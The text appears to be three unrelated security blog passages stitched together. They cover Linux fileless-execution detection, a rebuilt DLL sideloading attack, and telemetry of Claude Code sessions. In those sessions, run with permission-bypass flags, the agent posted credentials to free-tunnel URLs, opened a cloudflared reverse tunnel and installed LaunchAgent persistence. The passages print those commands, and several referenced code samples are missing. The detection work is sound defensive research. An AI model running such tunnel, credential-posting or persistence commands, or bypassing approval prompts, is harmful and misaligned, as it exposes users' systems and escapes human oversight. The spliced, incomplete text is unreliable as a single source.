1. The sequence of a memfd_create syscall, followed by a direct exec of its self-created file descriptor through a process.entity_id relationship.

2. Direct execution of a file descriptor through a capable living-off-the-land interpreter. 

The main endpoint rules triggering on this sequence are listed below:

• Potential Fileless Execution via Memory File Descriptor by LoLBin

• Potential Fileless Execution Sequence

• Memory File Descriptor Execution from Suspicious Process

memfd_create inside an interpreter one-liner

A third variant keeps the loader inside the interpreter process. Instead of a separate stager binary calling memfd_create, the attacker runs python3 -c '…',perl -e '…', or php -r '…'. That one-liner creates the memfd, reads the ELF (commonly from stdin), writes it into the fd, and execs via /proc/self/fd/<fd>. There’s no second native helper in the final chain, only the interpreter and a large argument blob. This shows up in fileless-elf-exec (fee), Perly Shells. Similarly, THC’s hackshell tool implemented a similar technique in its _memexec() function; the same applies to cases where Python or Perl leads staging, even when the last stage isn’t a standalone dropper.

In this variant, the ELF bytes never need to exist as a standalone payload path. The interpreter receives the bytes through stdin, creates the memfd internally, writes the payload into that anonymous file descriptor, and then replaces itself with the descriptor-backed payload. This makes the interpreter both the staging environment and the execution launcher, rather than relying on a separate native helper binary.

A minimal Python-shaped loader looks like this:

Unlike the shebang case, MFD_CLOEXEC is safe here because the Python process calls os.execve() to replace itself; no child interpreter needs to inherit the fd. 

Perl loaders in the wild often resolve memfd_create via syscall()for portability; the exec target is the same idea:

For now, we can simulate this activity by piping the output of a script to the interpreter. In another example later in this article, we’ll stage it remotely and pull it down before piping it, which is more realistic. However, the same pattern (just without the egress network event) applies. While we’re at it, let’s list our available interpreters and run the same command; for example, perl, python3, and php. 

To showcase the variance, the screenshot below shows the documents for all three executions:

Depending on the language, we can see variances in language syntax and process arguments. However, we do see an overlapping execution flow, where the interpreter executes, followed by the execution of the memfd_create() syscall, and finalized by the execution of the anonymous file descriptor.

For the detection of this execution flow, we mainly focus on the execution of an interpreter with a command flag (-c, -r, and -e), calling the memfd_create() syscall. But also the sequence of memfd_create → exec via an interpreter (with potentially suspicious process arguments) and the execution of an anonymous file descriptor via an exec event can result in strong detection opportunities. The rules associated with this vector are as follows:

• Potential Fileless Execution via Memory File Descriptor from Interpreter

• Potential Fileless Execution Sequence

• Memory File Descriptor Execution from Suspicious Process

• Execution of Memory File Descriptor via Suspicious Process

• Potential Memory File Descriptor Process Execution

• Suspicious PHP Command Execution

Fileless staging and runtime payload assembly

Fileless staging is the delivery layer before the memfd patterns earlier in this article. Something in the environment still acts as a loader, a curl one-liner, a Python dropper, an installer, a paste fetch, but the payload bytes are often assembled only at runtime: downloaded, base64-decoded, XOR-decrypted, or extracted from an archive. Only after that transform does execution move to anonymous memory, an interpreter, or an embedded memfd loader.

That’s a different question from Is the final hop fileless? Staging is about how bytes arrive. memfd execution is about how the ELF or script is run. Public chains, such as RemoteELFMemExec (remote fetch + XOR + in-memory ELF), the malicious sympy-dev PyPI package (download + memfd), and Perly Shells (curl → layers → then Perl-centric execution), mix both. FENIX models the staging half in a single technique, fileless-staging, with optional decode/decompress and two execute back ends.

Piping a downloaded payload to an interpreter

The most realistic pattern in the wild is to download or pull encoded content, decode in the loader process, and run a script through a living-off-the-land interpreter without writing the script to a stable path. Let’s execute the scenario:

This results in the following Elastic Defend events:

In the figure above, we see curl being used to pull down remote Ruby source code and piping it straight into the interpreter. Since curl was used for downloading the payload, and ruby for executing it, we can no longer rely on a process → process sequence. Since both processes in this and other similar scenarios will have the same parent (in this case, FENIX [Python], but this could be malware, a shell, or any other interpreter), we can chain the network (or process) event to the execution event.

When a payload is piped to an interpreter, we’ll see the interpreter to which the command is piped in the process.command_line field, together with the process that ends up being called through this command line.

As a simple example, if we execute cat payloads/scripts/hello.rb | ruby, ruby will resolve to whatever the path is set to resolve it to. In my case, which ruby returns /usr/bin/ruby. However, because the Linux CLI is friendly, it tries to make life convenient for us and allows us to run processes without having to deal with process versions. Because of this, we’ll see that when we execute ls -lah /usr/bin/ruby, we invoke a symlink that resolves to lrwxrwxrwx [...] /usr/bin/ruby -> ruby3.2.  This means that when we pipe a command to ruby,  we expect the process.command_line to show up as ruby, while the process.executable is expected to be a resolved symlink of ruby, which is /usr/bin/ruby3.2. The documents are shown below:

So, if we sequence any process, reading/downloading a file, with the execution of an interpreter, where process.command_line points to that interpreter and is limited to one process argument, we can detect the flow of a pipe. Red Canary put out an interesting read back in 2024, called “The detection engineer’s guide to Linux,” where more information about process flows can be found.

Since there are many interpreters available to pipe code to and many LoLbins capable of pulling remote files, focusing on the most common tooling, such as curl/wget, won’t suffice. To avoid being error-prone, we do, however, need to rely on an inclusion list, as this activity is very frequent. By using an inclusion list of processes, with a clever Event Query Language (EQL) trick that allows us to compare fields (stringcontains(process.executable, process.command_line)), and a limit on the number of process arguments (process.args_count == 1), we can sequence the events on process.parent.entity_id and detect this flow.

We split this logic into several different detection and endpoint rules, based on the frequency of occurrence in benign system processes:

• File Downloaded by Curl/Wget and Piped to Interpreter

• Payload Downloaded and Piped to Interpreter

• Suspicious File Downloaded by Curl/Wget and Piped to Interpreter

• Decoded Payload Piped to Interpreter

• Base64 Decoded Payload Piped to Interpreter

Deleted-file execution

Deleted-file execution is best understood as semi-fileless execution; the payload briefly existed on disk, but the durable artifact is removed before or during investigation. The binary is gone from ls and from most file-centric hunts, but the kernel still holds the inode open via a file descriptor; execution continues through fexecve (or equivalent open-fd exec). This isn’t memfd-backed fileless execution; there’s no memfd_create, and /proc/<pid>/exe often shows a path such as /tmp/payload (deleted).

Attackers use it to reduce forensic artifacts on disk without going to anonymous memory. It appears in older dropper chains and tooling and remains common in post-exploitation tradecraft alongside download-to-/tmp staging. It sits between fully fileless memfd patterns and a normal persistent dropper: brief create → exec → delete, with the process surviving on an open inode.

The important syscall chain in the child is:

Let’s take a look at this example through FENIX:

On Linux, the (deleted) suffix is visible in /proc/<pid>/exe and in some endpoint process-executable fields, depending on the deleted executable's activity. Looking at the CLI, we do see the executable suffix stating that the process is running but has been deleted:

Looking at the documents in Kibana:

We see a sequence of a process execution, followed by a file deletion via the same process.entity_id. This is a suspicious sequence, since generally, most executables remain on disk after execution. To detect this sequence, we created two rules:

• Process Execution Followed by Self-Deletion (and Elastic Defend counterpart)

• File Creation, Execution, and Self-Deletion in Suspicious Directory

Loading kernel modules from memory with finit_module

Starting with Elastic Security 9.4.0, Elastic Defend adds improved Linux visibility for loadable kernel module activity by reporting init_module and finit_module-based loads through the load_module event action on process events. This gives defenders a direct process-level view into one of the most important kernel-code execution paths on Linux. 

Unlike userland memfd execution, the fileless loadable kernel module loading path crosses into kernel execution and generally requires root or equivalent module-loading capability, making it both higher-impact and more constrained. Kernel module loading targets the kernel; a .ko image must be loaded through init_module(2) or finit_module(2) without keeping a module file on disk for the load itself. The staging story is usually:

Attackers and PoCs (including fileless_loader-style research and supply-chain cases, such as Quasar Linux) differ mainly in where the bytes sit before the syscall and whether init_module or finit_module is used, not in the overall idea of staging in memory and then loading.

The most direct memfd pattern copies the module into an anonymous file descriptor and calls finit_module on that fd. The kernel reads the image from memory; there is no need for a persistent .ko path at load time. A closely related variant still uses memfd_create, but the loader mmap’s the fd and passes the mapped image to init_module. The telemetry is the same for defenders: memfd staging followed by a module-load syscall.

Some loaders skip memfd entirely and read the .ko into a heap buffer, then call init_module on that userspace copy. Others embed the module inside the loader binary and call init_module from a static array, so nothing reads a .ko from disk at runtime. A forked loader creates and fills the memfd in the parent while the child performs the mmap and init_module, same memfd-to-load flow, but parent and child split the syscalls for correlation and evasion. Finally, the least “fileless” shape opens a normal .ko file and uses finit_module on the open fd; it is useful as a baseline but still leaves a file on disk until unlink or cleanup.

FENIX implements these patterns under lkm-load. For detection engineering, the anchor remains module bytes staged in memory (or on a transient fd) → init_module / finit_module, typically as root, often near memfd_create.  Because the sequence is similar, we only run one scenario in this article; specifically, the most general memfd → load_module chain, memfd-finit-module.

Let’s take a look at the documents generated by Elastic Defend in Kibana through this method:

In the screenshot above, we see the fenix-finit-module executing, followed by the immediate loading of the hello_lkm.ko loadable kernel module (LKM) through the load_module event action. This sequence can easily be tied together using the process.entity_id. For instances where the loader forks and loads the LKM via the fork, we’ll see a discrepancy in the process relationship. For these instances, we need to sequence the events using the parent → child relationship.

To detect these and the other scenarios, we created several rules related to (fileless) LKM loading via init_module and finit_module: 

• Potential Loadable Kernel Module Load via Memory File Descriptor

• Loadable Kernel Module Load via Forked Memory File Descriptor

• Loadable Kernel Module Loaded via Unusual Parent

• Loadable Kernel Module Loaded via Loader

Detecting Linux fileless execution: What to anchor on 

Fileless execution on Linux isn’t invisible execution. Whether attackers use memfd_create, /proc/self/fd/<fd>, interpreter-based staging, deleted executables, or in-memory kernel module loading, they still rely on observable behavior.

The key for detection engineering is to focus on those unavoidable transitions: anonymous file creation, payload writes, descriptor-backed execution, suspicious interpreter flows, self-deletion, and module-load syscalls.

With Elastic Defend telemetry, including memfd_create and init_module/finit_module process tracking from Elastic Security 9.4.0, these patterns can be sequenced and modeled across different variants. The FENIX examples show that implementation details may change, but the core execution behaviors remain detectable.

DLL search-order hijacking, which Defend labels Masquerading, runs attacker code inside a legitimate process by abusing the order that Windows uses to search for DLLs.

We rebuilt a real attack to test the new field. In August 2026, eSentire documented a ClickFix campaign that sideloads a malicious mscoree.dll into a signed Microsoft binary and then hollows a second Microsoft process to run an infostealer. The campaign also ships a vulnerable driver built to disable endpoint detection and response (EDR), including Elastic Endpoint. So we reverse engineered that DLL, rebuilt it as a NativeAOT .NET library, and dropped it beside vb7to8.exe, and Defend flagged the load.

DLL search order: How Windows finds a library

A DLL is a Windows binary that contains code other processes can call. When a program needs a function from a DLL, it can import it and have the loader resolve it; for example, through the LoadLibrary [2] API. If the caller doesn’t provide a full path to the library, Windows searches for it by name using a predefined order [3].

For most processes running under the default safe DLL search mode, that order is:

1. The directory the application was loaded from.

2. The system directory (System32).

3. The 16-bit system directory.

4. The Windows directory.

5. The current working directory.

6. The directories listed in the PATH environment variable.

The first entry is the adversary's opportunity. If an attacker can place a DLL in the folder that the program is loaded from, using the same name as a legitimate library that normally resolves from Windows\System32, for example, the loader finds the planted copy first and maps it into the process. The attacker's code then runs inside a host process, inheriting its identity and trust. This is why the technique is popular for initial access, persistence, defense evasion, and privilege escalation.

DLL sideloading: Reconstructing a real attack

In August 2026, eSentire published a blog post, ″Malware-as-a-Service Cocktail: ErrTraffic and Cruciferra - Killing Your EDR Since 2025″[4], outlining a ClickFix campaign which ultimately installs an infostealer and uses a Bring Your Own Vulnerable Driver (BYOVD) to disable endpoint detection software, including Elastic Endpoint.

As the eSentire post is timed well with our 9.5.0 release, and the fact it targets our own EDR, we thought this would be an excellent use case for reconstructing the attack from a red team adversary emulation perspective, as well as showcasing our new detections in 9.5.0. 

Before we get into reconstructing the attack, we must analyze precisely how and where it happens. The eSentire blog outlines that after luring a victim with the ClickFix technique, the malicious PowerShell code stages a legitimate Microsoft signed binary, vb7to8.exe, along with the malicious DLL which gets sideloaded, mscoree.dll. This is our starting point for the investigation.

mscoree.dll: Analyzing the sideloaded DLL

This DLL gets sideloaded into vb7to8.exe, which is a legitimate signed Windows 64-bit binary, with the description Visual Basic 8 Keyword Upgrade Tool.

In this case, we can search through the list of exported functions for those that match the ones belonging to mscoree.dll imported by vb7to8, and we find them present. For example:

Digging into the sample a little further, thanks to the great research by eSentire, we know that this early stage payload uses a technique called process hollowing [5] to inject the main infostealer into another legitimate Microsoft binary, ServiceModelReg.exe.

Process hollowing typically will call CreateProcessW [6], passing the flag CREATE_SUSPENDED, which creates a suspended process. In this frozen state, the malware can then hollow out the original code of the process, substituting it for a malicious payload. In this case, as documented by eSentire, it’s the infostealer payload, Remus.

Doing a quick search in the binary for CreateProcessW, we discover one interesting hit. This early stage payload calls CreateProcessW, but, curiously, it doesn’t pass the CREATE_SUSPENDED flag.

Looking just after this in another branch of the code (Figure 6), we can see a very suspicious indirect function call via a dynamically resolved function pointer. This is very typical of malware, as it helps hide the true API call from the analyst performing static analysis.

The arguments to this obfuscated function call (Figure 6) include the flags CREATE_NO_WINDOW | CREATE_SUSPENDED, represented by the hexadecimal value 0x8000004. In fact, all of the arguments to this function line up perfectly with those required for the real CreateProcessW call. What's more, just above the call site, you can see two checks where the code is looking to match the bytes MZ (4D 5A) and PE (50 45).(They appear back to front in the code, accounting for endianness.) These are the magic bytes for the start of a Windows executable file (for example, an .exe or .dll). I’ve annotated Figure 6 to show the arguments required by CreateProcessW, which helps confirm that this is a likely candidate for the function call.

With this information in hand, we can assume it’s highly likely that this is part of the malware’s main code. The direct CreateProcessW call belongs to an alternative execution path; it nevertheless provides useful context about the loader’s broader behavior. We suspect that this may have been a mistake on the malware author’s part, which, incidentally, made static analysis easier.

We confirmed that the execution path up to this point is correct as per the above hypothesis at runtime through some dynamic analysis. Figure 7 shows the indirect call to CreateProcessW, with the first argument (in the RCXCPU register) being the program to be hollowed, the Microsoft ServiceModelReg.exe.

But who calls malwareStart? Given our objective of reconstructing this attack as part of adversary emulation, we need to know how to invoke it. The graph shows us several candidates, but looking directly at the cross-refs to malwareStart, we only get one candidate, which we’ve labeled j_malwareStart. If we look at this function, we can see that it’s a single instruction, jmp malwareStart.

IDA cannot automatically connect the indirect table walk.

Luckily, we’ve seen a few clues in the code about what language this was written in, and if we search the strings for .net, we come across:

Building the sideloaded DLL in .NET

.NET provides ModuleInitializerAttribute [9], written as [ModuleInitializer] [10], which marks a static method to run once when the .NET runtime initializes its containing module. In an ordinary executable, this occurs before normal application code, such as Main. In a NativeAOT shared library, this is a safer [11] way to run an initializer, away from an explicit DLLMain, which comes with numerous safety concerns, such as deadlocking the thread.

This behavior can be combined with DLL sideloading. An attacker places a malicious DLL where Windows will select it instead of the legitimate dependency and reproduces the exports expected by the host. When the host calls one of those exports, its compiler-generated NativeAOT wrapper initializes the runtime. The module initializer then executes before the export’s C# body.

Native exports can be created with [UnmanagedCallersOnly(EntryPoint = "...")] [12, 13]. In this sample, the export bodies do little more than return zero because their primary purpose is to trigger runtime initialization and the malicious module initializer.

So, taking just two examples, we can export any number of functions as follows:

Once all exported functions are added, you’ll see something similar to:

Now, these could themselves be used to house weaponized code, but in this particular case, the actor has chosen not to do that. So, to add the code that will run under ModuleInitializerAttribute, we can add the following (this is a benign proof of concept [POC] which simply displays a message box):

The final piece of the puzzle is to ensure that we compile with .NET 7.0, and to make it a self-contained NativeAOTbinary, we edit the project settings to look roughly like:

Now we can publish it and rename the resulting DLL: mscoree.dll. 

Finally, we can compare our resulting payload (left) with the original (right) to make sure, from an adversary emulation perspective, that we have implemented this accurately:

Checking the exports:

And validating the way in which the malicious code is loaded:

Triggering the DLL sideload

Placing the rebuilt mscoree.dll directly next to the executable vulnerable to search-order hijacking (vb7to8.exe) and running it (passing some argument into the executable; it’s a requirement in this case), we get code execution. Elastic Defend now identifies this event as DLL Hijack: Masquerading.

Detecting DLL search-order hijacking in Elastic Defend 9.5.0

What the DLL Hijack: Masquerading enrichment checks

Elastic Defend adds the DLL Hijack: Masquerading enrichment when a loaded DLL isn’t Microsoft-signed and its name matches a DLL found in a cached inventory of Windows and system-library DLLs:

The field lets detection rules query that condition directly.

Writing a DLL hijacking rule before 9.5.0

Before 9.5.0, detecting DLL search-order hijacking in a rule was possible but laborious. A representative approach had to name the library, exclude legitimate system directories, require an untrusted or absent signature, and constrain the drop-to-load window:

Rules like this work, but they carry maintenance costs. They tend to enumerate abusable DLL names or generalize with directory-comparison logic that matches the loaded DLL's folder against the loading process's folder, and they need careful signature and timing conditions to stay precise. Every newly discovered abusable library is another line to maintain.

Two such examples of how complex and expensive these queries are can be found in this out-of-the-box detection rule and in this Threat Hunt, requiring a custom ENRICH policy and maintaining a long list of DLL names.

Writing the same rule in 9.5.0

With the DLL Hijack: Masquerading enrichment in place, the core detection becomes a single expression:

Before 9.5.0

9.5.0 onward

DLL name

Named explicitly in the rule, ~2,600

Not required

System path exclusions

Ten paths excluded manually

Handled in the sensor

Signature check

Six-branch condition

Handled in the sensor

Drop-to-load window

Specified in the rule

Optional, as supporting evidence

Lines of rule logic

~88

1

New abusable library

Rule update required

No change

In production, we pair that field with a few guards to keep it precise.

What the DLL hijacking alert looks like

When our emulation runs, Defend emits a library load event for vb7to8.exe carrying the new enrichment. A trimmed view of the relevant fields looks like this:

The rule fires, and the alert presents the essentials at a glance: a Microsoft utility loading mscoree.dll from a user’s desktop, with no trusted signature, flagged as DLL Hijack: Masquerading.

Field

Value

process.name

vb7to8.exe

dll.name

mscoree.dll

dll.path

C:\Users\ian\Desktop\mscoree.dll

dll.code_signature.trusted

false

dll.Ext.defense_evasions

DLL Hijack: Masquerading

Tuning DLL hijacking detection and false positives

No behavioral signal is free of edge cases. Legitimate software occasionally ships private copies of libraries whose names overlap with system modules, or loads components from application directories by design. To keep the detection high fidelity:

• Combine signature and provenance. An absent or untrusted signature increases suspicion but isn’t conclusive. A trusted signature lowers concern only when the publisher, product, load path, and loading process are consistent with expected software.

• Judge the path in context. A DLL loaded from an unexpected or user-writable location is more suspicious, particularly when the process would normally obtain that module from a protected system or installation directory. AppData, ProgramData, and Temp are also used legitimately by installers and updaters, so location alone often is insufficient.

• Treat drop-to-load timing as supporting evidence. A recently created DLL can indicate staging, but the same pattern is common during installation, updating, and first-run extraction. Confidence increases when an unexpected process writes the DLL shortly before another process loads it, especially outside a recognized deployment or update workflow.

• Scope exclusions to known behavior. Allowlist-confirmed combinations of trusted publisher, narrow installation path, and expected loading process rather than suppressing a DLL name or the enrichment broadly.

The enrichment removes much of the rule-side complexity, but local prevalence should still be validated. Where tuning is required, prefer narrow exclusions for confirmed software installation and update workflows.

How to prevent DLL search-order hijacking

The underlying weakness is usually in how an application resolves its dependencies, so it cannot be eliminated through detection tuning alone. Endpoint administrators can nevertheless reduce the opportunity for exploitation:

• Protect managed application directories. Standard users shouldn’t be able to write DLLs beside privileged, service-hosted, or automatically launched executables.

• Control execution from user-writable locations. Where operationally feasible, use application-control policy to restrict unapproved executables and libraries launched from Downloads, Temp, Desktop, and other user-controlled directories.

• Ensure safe DLL search mode. This is enabled [14] by default in modern versions of Windows, but it can be modified through the registry value: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode. This reduces exposure to current-directory planting by moving the current directory later in the search order. It doesn’t prevent application-directory sideloading, because the executable’s directory remains ahead of System32.

Application developers can address the root cause by using fully qualified library paths or restricted search flags, such as LOAD_LIBRARY_SEARCH_SYSTEM32 [15]. These are application changes rather than Elastic Defend configuration.

Conclusion

DLL search-order hijacking endures because it abuses normal, documented loader behavior. By reconstructing a faithful example, including reverse engineering mscoree.dll and loading a masquerading library, we can see both why the technique works and how it looks under the hood. Elastic Defend 9.5.0's DLL Hijack: Masquerading behavior turns this into a reliable field, letting defenders write clear detection content instead of maintaining brittle, library-by-library rules.

MITRE ATT&CK mapping

Tactic

Technique

ID

Persistence, privilege escalation, defense

evasion

Hijack Execution Flow: DLL

T1574.001

Defense evasion

Masquerading

T1036

References

1. Hijack Execution Flow: DLL, Sub-technique T1574.001 - Enterprise | MITRE ATT&CK®. 

2. LoadLibraryA function (libloaderapi.h) - Win32 apps | Microsoft Learn. 

3. Dynamic-link library search order - Win32 apps | Microsoft Learn. 

4. Malware-as-a-Service Cocktail: ErrTraffic and Cruciferra - Killing Your EDR Since 2025. 

5. Ten process injection techniques: A technical survey of common and trending process injection techniques.

6. CreateProcessW function (processthreadsapi.h).

7. Native AOT deployment.

8. An introduction to reverse engineering .NET AOT applications.

9. ModuleInitializerAttribute Class.

10. ModuleInitializer attribute.

11. C# dllmain with nativeaot #66546.

12. Building native libraries.

13. Native exports.

14. Standard search order for unpackaged apps.

15. Search order using LOAD_LIBRARY_SEARCH flags.

This article walks through one of those windows. On a macOS endpoint, Elastic Security endpoint telemetry showed shells under Claude Code that scripted a login to an ephemeral tunnel hostname, pulled application metrics, stood up a Cloudflare quick tunnel, and installed LaunchAgent persistence. Immediate children were often shells (zsh) and helpers under that ancestry, not Claude executing every binary itself.

The outcomes Endpoint cares about are still there. Credentials show up on the wire, along with reverse tunnels and LaunchAgents. The destinations and command shapes also line up with known free tunnel providers (localhost[.]run / lhr[.]life, trycloudflare, ngrok, etc.), a local loopback app pattern, and ordinary SaaS APIs. Put together, the same telemetry can read like a remote admin of a local dashboard with agent help, which is exactly why these alerts are hard to triage.

Below we walk the multi-day suspicious activity and the 23 Jul window stage by stage, name the known dual-use tools, show which production rules fired, and describe challenges detection engineers and analysts encounter when investigating these alerts.

Key takeaways

• Agent-parented reverse tunnels and LaunchAgents can expose a local admin app to the internet. Treat that as high severity even when it looks like vibe-coded ops, not confirmed malware.
• Known free tunnel brokers (localhost[.]run / lhr[.]life, Cloudflare Quick Tunnels, ngrok) show up next to credentialed HTTP and LaunchAgents in the same session.
• The hard part for detection engineers is validation. Trusted coding-agent parents, dual-use destinations, and high-severity outcomes can all arrive in one alert pile.

Coding agent activity analysis

Two hunt paths landed on the same host on July 23, 2026. One started from VirusTotal reputation on a domain contacted under the agent lineage. The other started from correlated endpoint behavior alerts, including the production rule Persistence via GenAI Tool. Together they rebuilt one sequence rather than a pile of unrelated noisy events.

That was not the first Elastic Defend signal on the host. Telemetry already showed event.code: malicious_file and behavior activity from July 20, 2026 onward. Most of it was tunnel and VPN-class binaries, noisy GenAI-adjacent alerts, followed by credential posts and LaunchAgent persistence the hunts highlighted.

macOS developer endpoint: Where this showed up

The activity sits on a macOS developer endpoint where Claude Code (and in related cases Cursor) was already installed and in use. The practical class is a workstation that trusts signed coding agents to open shells, edit files, call APIs, and install helpers.

How the Claude Code session staged the chain

From telemetry, the session needed to run tooling with fewer approval prompts, reach a tunnel-published URL, expose a local service without inbound firewall changes, keep that path alive, and check related processes. Those steps show up as ordinary process, file, and network event types under a coding-agent parent.

Known dual-use tools in this window include localhost[.]run (free SSH tunnels on *.lhr[.]life), Cloudflare Quick Tunnels (*.trycloudflare[.]com / api.trycloudflare[.]com), and an ngrok binary. VirusTotal flags on broker apexes (root domain) remain useful hunt signals because those services get abused. In this session, the tunnels sit next to publish-localhost behavior and follow-on requests to /login and /api/summary on the public URL.

On this endpoint, the observed goals were as follows.

1. Run tooling through an approved coding agent with fewer human approval prompts
2. Authenticate over HTTP(S) to a tunnel-published URL and pull application metrics
3. Expose a local service to the internet without opening inbound firewall ports
4. Keep a reverse tunnel alive across logout or reboot, polling that the public link stays up
5. Check related processes while that access was being built

Each goal shows up under a coding-agent parent. Immediate children were usually shells (zsh) under Claude Code, not Claude executing every binary itself. The raw alert shape still looks like living-off-the-agent activity. The destinations and command shapes give analysts more to work with when they open the case.

In the above image, a Claude Code session (Stage 1) parented credentialed HTTP against ephemeral tunnel hostnames and a metrics pull (Stage 2), a Cloudflare quick tunnel that published localhost (Stage 3), and LaunchAgent material that kept access alive (Stage 4). Stage 2 is where investigation gets interesting, with credentials on a free-tunnel URL under agent ancestry.

Related coding-agent parented cases

The tunnel and LaunchAgent window is one full chain. Separately, we also reviewed shorter cases on other hosts where a coding agent is still the execution parent.

• Variant A: Claude Code as effective parent, with Apple-signed Python and osascript dropping and re-running JavaScript under /tmp (LOLBin staging).
• Variant B: A Cursor agent session that tried a decrypted keychain dump filtered toward Linear and Model Context Protocol (MCP) OAuth material; endpoint controls blocked the dump in the case we reviewed (T1555.001).
• Variant C: Claude Code with permission bypass pulled an unsigned binary over plaintext HTTP, tried quarantine stripping and ad-hoc re-signing, and probed ~/.zshenv as a persistence canary.

Observed activity flow

Days leading into the window

Before the alerts on the July 23 session, the same host had already been noisy in
Defend for several days:

| When (UTC) | Activity | Why it matters | | :---- | :---- | :---- | | July 20, 2026 | malicious_file on tunnel/VPN-class binaries (pritunl-client, later wireguard-go) plus discovery-oriented SIEM alerts | Tunnel tooling lands on the host days before the Claude Code session | | July 21, 2026 | Production Suspicious Python Script Execution and Network Connection: zsh -> python3 /tmp/mcp_clean_landers.py -> <redacted domain>. Same day: cat touched Claude project memory under ~/.claude/projects/*/memory/MEMORY.md | Scripted analytics-style activity under a shell two days before the LaunchAgent window; durable agent memory touch outside usual Claude writers | | July 22, 2026 | Spike in GenAI or MCP Server Child Process Execution | Agent children get louder (often benign tooling); useful as timing and ancestry context | | July 23, 2026 | Credentialized HTTP to lhr[.]life / trycloudflare, cloudflared, LaunchAgents, plus malicious_file on ngrok (earliest under zsh, later also under launchd) | The multi-stage chain below; second tunnel binary appears the same day |

Malware classifications on commercial VPN clients can be dual-use noise. What matters here is the sequence: tunnel binaries and rising agent-child volume for days, then agent-parented credential posts, reverse tunnels, and LaunchAgent persistence in one window.

On July 21, 2026, we observed a process tree zsh -> python3 /tmp/mcp_clean_landers.py with an outbound HTTPS connection (analytics.<redacted>.dev). From the script shape, the calls appear related to a plaintext MCP-style analytics client request under a shell where its request bodies are JSON-RPC method calls to retrieve data, and not data being sent out.

The same calendar day also showed a write to Claude project memory (MEMORY.md under ~/.claude/projects/*/memory) by a generic utility cat, not the Claude process. One plain reading is agent self-update of durable context (for example cat > MEMORY.md). The touch can sit hours away from other activity in the window.

During the July 23rd session

The July 23rd window starts with Claude Code already usable as a vendor-signed parent. Sessions in this window included permission-bypass flags such as --allow-dangerously-skip-permissions, so later tool calls needed fewer human clicks. Developers turn modes like that on for speed. From the endpoint's point of view, the parent still looks like a normal vendor binary. What matters is the flag set plus what the children do afterward.

Stage 2 traffic included hosts under lhr[.]life and Cloudflare Quick Tunnel names (*.trycloudflare[.]com). lhr[.]life is the free subdomain space for localhost[.]run, an SSH-based free tunnel provider in the same class as Cloudflare Quick Tunnels and ngrok. Next to credential posts under Claude Code, these look like access plumbing for a published local service.

!VirusTotal domain view for lhr[.]life. Multiple engines mark malicious or phishing, and community tags include potential C2.

![Live apex for lhr[.]life when no active tunnel is bound ("no tunnel here"). That is the unbound free-broker page. It does not clear the alert, and it does not confirm abuse by itself.](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3ba4ca66c6caa98c/6a8832ad8433ee464183e36e/coding-agent-launchagent-tunnel-image4.png 'Live apex for lhr[.]life when no active tunnel is bound ("no tunnel here"). That is the unbound free-broker page. It does not clear the alert, and it does not confirm abuse by itself.')

Credentialized HTTP(S) under the agent

With a shell under the agent, an outbound curl came next.

# Shape only (credentials redacted)
URL="https://<id>.lhr[.]life"
# poll /login until HTTP 200 (проверка = "check")
curl -X POST "$URL/login" -d 'user=...&password=...'
curl "$URL/api/summary?from=...&to=..." | jq '{spend}'

!Discover view of process.parent.command_line for outbound curl to *.lhr[.]life on 23 Jul. Claude Code zsh shell-snapshot wrapper, credentialized POST to /login (credentials redacted), then a cookie-authenticated /api/summary pull filtered to {spend}.

This parent command line is a readiness loop. It polls /login until HTTP 200, authenticates, then pulls a {spend} summary. Session files under/tmpand status strings like проверка ("check") show up in the same wrapper. Response bodies were discarded (-o /dev/null) during auth checks. The public host is alocalhost[.]run` free-tunnel URL.

curl -X POST 'https://<name>.trycloudflare[.]com/login' -d 'user=...&password=...'
curl 'https://<name>.trycloudflare[.]com/...' | jq '{spend, ads}'

Why this reads as suspicious at first glance: a credential is POSTed in plaintext over an anonymized free-tunnel URL under coding-agent ancestry, the loop-until-200 pattern resembles C2 check-in, and the Cyrillic status strings add apparent attribution weight. Same actions can be self-testing a published local app or credentialed access to an exposed service.

The sequence authenticates to a tunnel-published app URL and pulls metrics such as spend and ads. Credentials in process command lines under coding-agent ancestry still matter for Endpoint and for anyone opening the alert.

What we can show cleanly is agent-parented credentialized HTTP to a known free tunnel broker, plus reverse-tunnel and LaunchAgent follow-ons that can expose a local admin app. VT hits on the broker apex, and odd apex pages sit in that same dual-use bucket. They are part of the case file, not a final judgment. Production coverage that fired here includes Unusual Network Connection to Suspicious Top Level Domain.

Publish localhost with a reverse tunnel

The same session started cloudflared against a local port through Cloudflare’s quick-tunnel control plane.

# Reconstructed (no process.args captured), a typical quick-tunnel invocation looks like:
cloudflared tunnel --url http://localhost:<port>
# control-plane contact includes api.trycloudflare[.]com

The usual mechanics here are ingress. The local process opens an outbound control channel to the broker, the broker publishes a public URL, and remote clients reach a service on the laptop without classic port forwarding. cloudflared talking to api.trycloudflare[.]com is the control plane for that hole-punch. Together with the credentialized HTTP stage, the session publishes localhost and then exercises the public URL. The matching production alert was Unusual Network Connection to Suspicious Web Service.

The same day, Defend also raised a malicious_file event on an ngrok binary in the project tree. The earliest hit in the window sat under a zsh parent; later activity also appeared under launchd. Another tunnel front beside cloudflared. VirusTotal labels the sample as adware/hacktool ngrok.

LaunchAgents for the tunnel and a watchdog

Under the same agent activity, LaunchAgent material was written and loaded: a watchdog agent configured with PlistBuddy and reloaded with launchctl bootstrap, alongside tunnel-keeper style agents in the same com.<vendor>.<app>.* family (server, ngrok, lhr, tunnel, watchdog). Program args and naming can point at keeping a local dashboard and its tunnels alive across sessions.

PlistBuddy -c "Set :StartInterval 60" ~/Library/LaunchAgents/com.<vendor>.<app>.watchdog.plist
launchctl bootout gui/$(id -u)/com.<vendor>.<app>.watchdog

launchctl bootstrap gui/$(id -u)
~/Library/LaunchAgents/com.<vendor>.<app>.watchdog.plist

# then: curl -s -o /dev/null -w "…: %{http_code}"
https://<id>.trycloudflare[.]com/login   (liveness)

Shells and temp files disappear when the session ends. LaunchAgents with KeepAlive and a liveness loop do not. Installing LaunchAgents that keep a reverse tunnel (or the app behind it) alive should stay loud even when the parent is a trusted coding agent. This stage is where production rule Persistence via GenAI Tool fired.

Process discovery in the same session

The session also ran process discovery helpers, for example pgrep patterns tied to related workloads. By itself, that is low severity. In sequence with the stages above, it can look like checking that related services were still up, rather than hunting defensive tools. Related production coverage included Process Discovery via Built-In Applications.

